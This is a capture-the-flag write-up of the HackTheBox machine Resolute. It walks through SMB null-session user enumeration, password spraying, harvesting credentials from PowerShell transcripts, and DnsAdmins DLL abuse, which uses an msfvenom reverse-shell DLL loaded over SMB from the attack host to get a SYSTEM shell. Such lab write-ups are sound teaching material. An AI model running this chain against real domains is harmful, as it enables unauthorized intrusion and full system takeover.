Introduction
Resolute is a medium-difficulty Windows machine on HackTheBox that involves a realistic Active Directory penetration test. The initial foothold is gained by enumerating domain users via a null SMB session and discovering a default password in a user’s description, which is then reused to gain access as another user via WinRM. Lateral movement is achieved by discovering cleartext credentials for a more privileged user within PowerShell transcripts. Finally, privilege escalation to SYSTEM is accomplished by abusing the permissions of the DnsAdmins group to load a malicious DLL.
Tools used in this write-up:
nmap
for port scanning and service enumeration.nxc
/netexec
for SMB and LDAP enumeration.evil-winrm-py
for remote shell access and file transfers.
IP address of the machines:
10.10.10.169
-> Resolute box10.10.16.31
-> Attack machine (Kali Linux)
Scanning and Enumeration
Nmap Scan
We start with a basic Nmap scan to identify open ports and services running on the target machine.
nmap -n -v -Pn -sC -sV -oN nmap.txt 10.10.10.169
Output:
# Nmap 7.94SVN scan initiated Tue Mar 25 21:25:41 2025 as: /usr/lib/nmap/nmap --privileged -n -v -Pn -sC -sV -oN nmap.txt 10.10.10.169
Nmap scan report for 10.10.10.169
Host is up (0.16s latency).
Not shown: 988 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-25 15:58:36Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Resolute
| NetBIOS computer name: RESOLUTE\x00
| Domain name: megabank.local
| Forest name: megabank.local
| FQDN: Resolute.megabank.local
|_ System time: 2025-03-25T09:03:07-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
|_clock-skew: mean: 2h27m03s, deviation: 4h02m32s, median: 7m01s
| smb2-time:
| date: 2025-03-25T16:03:04
|_ start_date: 2025-03-23T17:26:56
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 25 21:26:19 2025 -- 1 IP address (1 host up) scanned in 37.26 seconds
We get the following information from the scan:
- Open Ports: 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5985
- Services: DNS, Kerberos, RPC, NetBIOS, LDAP, Microsoft-DS, Kpasswd5, NCACN_HTTP
- OS: Windows Server 2016 Standard 14393
- Domain: megabank.local
- Host: RESOLUTE
We now add the target to our /etc/hosts
file for easier access:
10.10.10.169 megabank.local
Foothold
We can try to use null credentials to SMB using nxc
(netexec
):
kali@kali:~/boxes/Resolute.htb$ nxc smb 10.10.10.169 -u '' -p ''
SMB 10.10.10.169 445 RESOLUTE [*] Windows 10 / Server 2016 Build 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB 10.10.10.169 445 RESOLUTE [+] megabank.local\:
Using --users
in nxc
option, we can enumerate users:
kali@kali:~/boxes/Resolute.htb$ nxc smb 10.10.10.169 -u '' -p '' --users
SMB 10.10.10.169 445 RESOLUTE [*] Windows 10 / Server 2016 Build 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB 10.10.10.169 445 RESOLUTE [+] megabank.local\:
SMB 10.10.10.169 445 RESOLUTE -Username- -Last PW Set- -BadPW- -Description-
SMB 10.10.10.169 445 RESOLUTE Administrator 2025-06-25 15:45:04 0 Built-in account for administering the computer/domain
SMB 10.10.10.169 445 RESOLUTE Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.10.10.169 445 RESOLUTE krbtgt 2019-09-25 13:29:12 0 Key Distribution Center Service Account
SMB 10.10.10.169 445 RESOLUTE DefaultAccount <never> 0 A user account managed by the system.
SMB 10.10.10.169 445 RESOLUTE ryan 2025-06-25 15:45:03 0
SMB 10.10.10.169 445 RESOLUTE marko 2019-09-27 13:17:14 0 Account created. Password set to Welcome123!
SMB 10.10.10.169 445 RESOLUTE sunita 2019-12-03 21:26:29 0
SMB 10.10.10.169 445 RESOLUTE abigail 2019-12-03 21:27:30 0
SMB 10.10.10.169 445 RESOLUTE marcus 2019-12-03 21:27:59 0
SMB 10.10.10.169 445 RESOLUTE sally 2019-12-03 21:28:29 0
SMB 10.10.10.169 445 RESOLUTE fred 2019-12-03 21:29:01 0
SMB 10.10.10.169 445 RESOLUTE angela 2019-12-03 21:29:43 0
SMB 10.10.10.169 445 RESOLUTE felicia 2019-12-03 21:30:53 0
SMB 10.10.10.169 445 RESOLUTE gustavo 2019-12-03 21:31:42 0
SMB 10.10.10.169 445 RESOLUTE ulf 2019-12-03 21:32:19 0
SMB 10.10.10.169 445 RESOLUTE stevie 2019-12-03 21:33:13 0
SMB 10.10.10.169 445 RESOLUTE claire 2019-12-03 21:33:44 0
SMB 10.10.10.169 445 RESOLUTE paulo 2019-12-03 21:34:46 0
SMB 10.10.10.169 445 RESOLUTE steve 2019-12-03 21:35:25 0
SMB 10.10.10.169 445 RESOLUTE annette 2019-12-03 21:36:55 0
SMB 10.10.10.169 445 RESOLUTE annika 2019-12-03 21:37:23 0
SMB 10.10.10.169 445 RESOLUTE per 2019-12-03 21:38:12 0
SMB 10.10.10.169 445 RESOLUTE claude 2019-12-03 21:39:56 0
SMB 10.10.10.169 445 RESOLUTE melanie 2025-06-25 15:45:04 0
SMB 10.10.10.169 445 RESOLUTE zach 2019-12-04 10:39:27 0
SMB 10.10.10.169 445 RESOLUTE simon 2019-12-04 10:39:58 0
SMB 10.10.10.169 445 RESOLUTE naoki 2019-12-04 10:40:44 0
SMB 10.10.10.169 445 RESOLUTE [*] Enumerated 27 local users: MEGABANK
For the marko
user, in Description we see that the password was set to Welcome123!
.
This looks like a new user which was created recently, so we will try to use this password for marko
user.
kali@kali:~/boxes/Resolute.htb$ nxc smb 10.10.10.169 -u 'marko' -p 'Welcome123!'
SMB 10.10.10.169 445 RESOLUTE [*] Windows 10 / Server 2016 Build 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE
This doesn’t work. So lets try to use default credentials for other users:
We save the list of user in a file called users.txt
with one user per line:
Administrator
krbtgt
ryan
marko
<!-- more users here --!>
Then we can use nxc
to try all the users with the password Welcome123!
:
kali@kali:~/boxes/Resolute.htb$ nxc smb 10.10.10.169 -u users.list -p 'Welcome123!' --continue-on-success
SMB 10.10.10.169 445 RESOLUTE [*] Windows 10 / Server 2016 Build 14393 x64 (name:RESOLUTE) (domain:megabank.local) (signing:True) (SMBv1:True)
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\Administrator:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\krbtgt:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\ryan:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\marko:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\sunita:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\abigail:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\marcus:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\sally:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\fred:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\angela:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\felicia:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\gustavo:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\ulf:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\stevie:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\claire:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\paulo:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\steve:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\annette:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\annika:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\per:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\claude:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [+] megabank.local\melanie:Welcome123!
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\zach:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\simon:Welcome123! STATUS_LOGON_FAILURE
SMB 10.10.10.169 445 RESOLUTE [-] megabank.local\naoki:Welcome123! STATUS_LOGON_FAILURE
We try using ldap
protocol with nxc
to check if we can login as melanie
user:
kali@kali:~/boxes/Resolute.htb$ nxc ldap 10.10.10.169 -u 'melanie' -p 'Welcome123!'
LDAP 10.10.10.169 389 RESOLUTE [*] Windows 10 / Server 2016 Build 14393 (name:RESOLUTE) (domain:megabank.local)
LDAP 10.10.10.169 389 RESOLUTE [+] megabank.local\melanie:Welcome123!
This works! We can now check if melanie
is present in Remote Desktop Users
group:
kali@kali:~/boxes/Resolute.htb$ nxc ldap 10.10.10.169 -u 'melanie' -p 'Welcome123!' --groups 'Remote Management Users'
LDAP 10.10.10.169 389 RESOLUTE [*] Windows 10 / Server 2016 Build 14393 (name:RESOLUTE) (domain:megabank.local)
LDAP 10.10.10.169 389 RESOLUTE [+] megabank.local\melanie:Welcome123!
LDAP 10.10.10.169 389 RESOLUTE Melanie Purkis
LDAP 10.10.10.169 389 RESOLUTE Contractors
Here, Contractors
is a group, so we can check if anyone else is part of this group:
kali@kali:~/boxes/Resolute.htb$ nxc ldap 10.10.10.169 -u 'melanie' -p 'Welcome123!' --groups 'Contractors'
LDAP 10.10.10.169 389 RESOLUTE [*] Windows 10 / Server 2016 Build 14393 (name:RESOLUTE) (domain:megabank.local)
LDAP 10.10.10.169 389 RESOLUTE [+] megabank.local\melanie:Welcome123!
LDAP 10.10.10.169 389 RESOLUTE Ryan Bertrand
We can confirm that Melanie Purkis
and Ryan Bertrand
are part of Remote Management Users
group.
We can now get a shell using evil-winrm
/evil-winrm-py
using melanie
user:
kali@kali:~/boxes/Resolute.htb$ evil-winrm-py -i 10.10.10.169 -u 'melanie' -p 'Welcome123!'
▘▜ ▘
█▌▌▌▌▐ ▄▖▌▌▌▌▛▌▛▘▛▛▌▄▖▛▌▌▌
▙▖▚▘▌▐▖ ▚▚▘▌▌▌▌ ▌▌▌ ▙▌▙▌
▌ ▄▌ v1.1.1
[*] Connecting to 10.10.10.169:5985 as melanie
evil-winrm-py PS C:\Users\melanie\Documents>
We can now read the user flag:
evil-winrm-py PS C:\Users\melanie\Desktop> cat user.txt
93204f8bd██████b06f770345740cbd9
Lateral Movement
Enumerating, we find an interesting folder in C:\
:
evil-winrm-py PS C:\> ls -fo
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs- 6/25/2025 9:41 AM $RECYCLE.BIN
d--hsl 9/25/2019 10:17 AM Documents and Settings
d----- 9/25/2019 6:19 AM PerfLogs
d-r--- 9/25/2019 12:39 PM Program Files
d----- 11/20/2016 6:36 PM Program Files (x86)
d--h-- 9/25/2019 10:48 AM ProgramData
d--h-- 12/3/2019 6:32 AM PSTranscripts
d--hs- 9/25/2019 10:17 AM Recovery
d--hs- 9/25/2019 6:25 AM System Volume Information
d-r--- 12/4/2019 2:46 AM Users
d----- 12/4/2019 5:15 AM Windows
-arhs- 11/20/2016 5:59 PM 389408 bootmgr
-a-hs- 7/16/2016 6:10 AM 1 BOOTNXT
-a-hs- 6/25/2025 8:33 AM 402653184 pagefile.sys
-a---- 9/25/2019 6:19 AM 655360 swapfile.sys
Here we see the PSTranscripts
folder, which contains PowerShell transcripts that log all commands executed in PowerShell sessions.
evil-winrm-py PS C:\PSTranscripts\20191203> ls -fo
Directory: C:\PSTranscripts\20191203
Mode LastWriteTime Length Name
---- ------------- ------ ----
-arh-- 12/3/2019 6:45 AM 3732 PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
We download the transcript file:
evil-winrm-py PS C:\PSTranscripts\20191203> download PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt .
Downloading C:\PSTranscripts\20191203\PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt: 64.0kB [00:00, 1.01GB/s]
[+] File downloaded successfully and saved as: /home/kali/boxes/Resolute.htb/PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
Looking inside the transcript file, we find a command that was executed, which contains a password for the ryan
user:
<----SNIP---->
**********************
Command start time: 20191203063515
**********************
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Serv██████in4cc123!
<----SNIP---->
This command shows that the ryan
user has the password Serv██████in4cc123!
.
We aleady know that ryan
has access to the Remote Management Users
group, so we can use this password to login as ryan
user over WinRM using evil-winrm-py
.
kali@kali:~/boxes/Resolute.htb$ evil-winrm-py -i 10.10.10.169 -u 'ryan' -p 'Serv██████in4cc123!'
▘▜ ▘
█▌▌▌▌▐ ▄▖▌▌▌▌▛▌▛▘▛▛▌▄▖▛▌▌▌
▙▖▚▘▌▐▖ ▚▚▘▌▌▌▌ ▌▌▌ ▙▌▙▌
▌ ▄▌ v1.1.1
[*] Connecting to 10.10.10.169:5985 as ryan
evil-winrm-py PS C:\Users\ryan\Documents>
Privilege Escalation
We see a note on ryan
’s desktop:
evil-winrm-py PS C:\Users\ryan\Desktop> cat note.txt
Email to team:
- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute
Checking the groups that ryan
is part of the DnsAdmins
local group:
evil-winrm-py PS C:\Users\ryan\Desktop> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================== ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors Group S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
The DnsAdmins
group has the ability to specify that the DNS Server service loads a plugin DLL.
We create a malicious DLL that will be loaded by the DNS Server service:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.31 LPORT=443 -f dll -o rev.dll
-p
-> specifies the payload to use, in this case, a reverse shell for Windows x64.LHOST
-> the IP address of our Kali machine.LPORT
-> the port on which we want to listen for the reverse shell.
-f
-> specifies the format of the output file, which is a DLL in this case.-o
-> specifies the output file name, which isrev.dll
.
kali@kali:~/boxes/Resolute.htb$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.31 LPORT=443 -f dll -o rev.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: rev.dll
We try to upload the DLL to the target machine:
evil-winrm-py PS C:\Users\ryan\Documents> upload rev.dll .
Uploading /home/kali/boxes/Resolute.htb/rev.dll: 0%| | 0.00/9.00k [00:00<?, ?B/s]
[-] Error: File hash mismatch. Expected: EB9003A19ACC346A92902BAE88A47D01, Calculated:
This error indicates that the file hash does not match the expected hash, which is likely due to the file being modified or corrupted during the upload process. This hints that the file is being blocked by the system policies or antivirus.
To bypass this, we can use impacket-smbserver
to host the DLL on our Kali machine and then load it from there.
We start a SMB server on our Kali machine to serve the rev.dll
file:
kali@kali:~/boxes/Resolute.htb$ sudo impacket-smbserver share .
[sudo] password for kali:
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
# The server will run in the background, so we can continue with the next steps.
We should now configure the DNS Server to load our malicious DLL and restart the DNS service.
dnscmd.exe /config /serverlevelplugindll \\10.10.16.31\share\rev.dll
sc.exe \\127.0.0.1 stop dns
sc.exe \\127.0.0.1 start dns
Load the malicious DLL into the DNS Server:
evil-winrm-py PS C:\Users\ryan\Documents> dnscmd.exe /config /serverlevelplugindll \\10.10.16.31\share\rev.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
Stop the DNS service:
evil-winrm-py PS C:\Users\ryan\Documents> sc.exe \\127.0.0.1 stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
Now, we listen on our Kali machine to catch the reverse shell using
kali@kali:~/boxes/Resolute.htb$ nc -lvnp 443
listening on [any] 443 ...
Start the DNS service, and we should receive a reverse shell:
evil-winrm-py PS C:\Users\ryan\Documents> sc.exe \\127.0.0.1 start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 3256
FLAGS :
We should now see a connection on our Kali machine:
kali@kali:~/boxes/Resolute.htb$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.31] from (UNKNOWN) [10.10.10.169] 50282
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
We have successfully escalated our privileges to SYSTEM
. We can now read the root flag:
C:\Windows\system32>cd /Users/Administrator/Desktop
cd /Users/Administrator/Desktop
C:\Users\Administrator\Desktop>type root.txt
type root.txt
3d5f45cc██████a9061f1166733d18ca